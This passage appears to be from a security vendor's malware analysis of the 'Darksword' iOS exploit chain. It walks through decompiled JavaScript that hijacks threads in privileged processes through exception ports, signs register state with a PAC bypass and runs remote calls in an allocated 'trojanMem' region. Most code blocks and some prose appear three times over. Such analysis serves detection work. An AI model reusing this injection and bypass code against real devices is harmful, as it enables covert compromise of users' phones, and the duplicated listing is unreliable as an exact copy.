if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass))
...
}
...
ret = this.#doRemoteCallTemp(100, "thread_resume", callThreadPort);
let ret = this.#doRemoteCallTemp(100, "pthread_create_suspended_np", trojanMemTemp, 0n, remoteCrashSigned);
let ret = this.#doRemoteCallTemp(100, "pthread_create_suspended_np", trojanMemTemp, 0n, remoteCrashSigned);
let pthreadAddr = this.read64(BigInt(trojanMemTemp));
let callThreadPort = this.#doRemoteCallTemp(100, "pthread_mach_thread_np", pthreadAddr);
this.#callThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObjectOfTask(this.#taskAddr, BigInt(callThreadPort));
...
if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass))
...
}
...
ret = this.#doRemoteCallTemp(100, "thread_resume", callThreadPort);
Now, a proper thread is created inside the remote process. This thread is resumed. Because of its start_routine, it will generate an exception when executing. This crash will be caught during the first remote call.
From there, the newly created thread is ready to be instrumented, and a new primitive is ready : doRemoteCallStable.
We also see that the code allocates some memory inside the target process using mmap.
This memory is refered as trojanMem.
this.#trojanMem = this.#doRemoteCallStable(1000,"mmap", 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE, _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_READ | _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n);
this.#doRemoteCallStable(100,"memset",this.#trojanMem, 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE);
this.#trojanMem = this.#doRemoteCallStable(1000,"mmap", 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE, _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_READ | _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n);
this.#doRemoteCallStable(100,"memset",this.#trojanMem, 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE);
this.#trojanMem = this.#doRemoteCallStable(1000,"mmap", 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE, _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_READ | _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n);
this.#doRemoteCallStable(100,"memset",this.#trojanMem, 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE);
Remote calling into remote process
In this part, we will explain the doRemoteCallStable primitive. The primitive is the same as doRemoteCallTemp but uses the injected thread instead of the hijacked thread.
First, the code uses dlsym to retrieve the address of the target function.
let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name);
```
After, as the comment states, the code is waiting for the exception. At the first call, the exception is generated because of the `start_routine` of the injected thread.
```js
let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false))
let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name);
```
After, as the comment states, the code is waiting for the exception. At the first call, the exception is generated because of the `start_routine` of the injected thread.
```js
let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false))
let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name);
```
After, as the comment states, the code is waiting for the exception. At the first call, the exception is generated because of the `start_routine` of the injected thread.
```js
let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false))
The state of the thread is then set up :
x0 to x7 registers are used for arguments.
PC is set to the function address retrieve using dlsym
LR is set to a special value 0x401. This will generate an exception after the target function have been executed thus allowing the code to retrieve return value.
Notice that the function this.#signState is called. This function uses the PAC bypass to sign target PC and LR.
After setup is done, the module resumes the thread by replying to the exception port.
let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let newState = exc.threadState;
newState.registers.set(0,x0);
newState.registers.set(1,x1);
newState.registers.set(2,x2);
newState.registers.set(3,x3);
newState.registers.set(4,x4);
newState.registers.set(5,x5);
newState.registers.set(6,x6);
newState.registers.set(7,x7);
newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojan);
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
exc.threadState.registers.set(0, x0);
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false))
...
excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let retValue = exc.threadState.registers.get(0);
let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let newState = exc.threadState;
newState.registers.set(0,x0);
newState.registers.set(1,x1);
newState.registers.set(2,x2);
newState.registers.set(3,x3);
newState.registers.set(4,x4);
newState.registers.set(5,x5);
newState.registers.set(6,x6);
newState.registers.set(7,x7);
newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojan);
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
exc.threadState.registers.set(0, x0);
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false))
...
excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let retValue = exc.threadState.registers.get(0);
let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let newState = exc.threadState;
newState.registers.set(0,x0);
newState.registers.set(1,x1);
newState.registers.set(2,x2);
newState.registers.set(3,x3);
newState.registers.set(4,x4);
newState.registers.set(5,x5);
newState.registers.set(6,x6);
newState.registers.set(7,x7);
newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojan);
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
exc.threadState.registers.set(0, x0);
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false))
...
excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let retValue = exc.threadState.registers.get(0);
Finally, the new exception is caught (which means the thread reached LR (0x401)). The return value is retrieved from the thread state, and the previous state (with incorrect PC due to the invalid start_routine) is set back and the thread is resumed.
This will generate another exception, which will be caught in the next remote call.
newState = exc.threadState;
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
return retValue;
}
newState = exc.threadState;
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
return retValue;
}
newState = exc.threadState;
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
return retValue;
}
Cleaning
The module implements a destroy() capability. The module remote call munmap to free its so-called trojanMem. It also remote calls pthread_exit on the injected thread. It frees the two exception ports using mach_port_destruct and calls pthread_cancel on its dummy thread.
destroy()
{
this.#doRemoteCallStable(100, "munmap", this.#trojanMem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE);
if (this.#creatingExtraThread)
this.#doRemoteCallStable(-1, "pthread_exit");
...
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#firstExceptionPort, 0n, 0n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#secondExceptionPort, 0n, 0n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_cancel", this.#dummyThread);
}destroy()
{
this.#doRemoteCallStable(100, "munmap", this.#trojanMem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE);
if (this.#creatingExtraThread)
this.#doRemoteCallStable(-1, "pthread_exit");
...
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#firstExceptionPort, 0n, 0n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#secondExceptionPort, 0n, 0n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_cancel", this.#dummyThread);
}destroy()
{
this.#doRemoteCallStable(100, "munmap", this.#trojanMem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE);
if (this.#creatingExtraThread)
this.#doRemoteCallStable(-1, "pthread_exit");
...
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#firstExceptionPort, 0n, 0n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#secondExceptionPort, 0n, 0n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_cancel", this.#dummyThread);
}Conclusion
It's interesting to see how the threat actor can circumvent the protection implemented by Apple. Darksword does not use really complex techniques, but succeeds in executing code into specific and privileged processes.
We will continue to analyze the inner workings of this chain (and others) to get a better understanding of how threat actors operate. At Shindan, analyzing such primitives helps us to create new detection methods. If you think you may have been compromised, please contact us.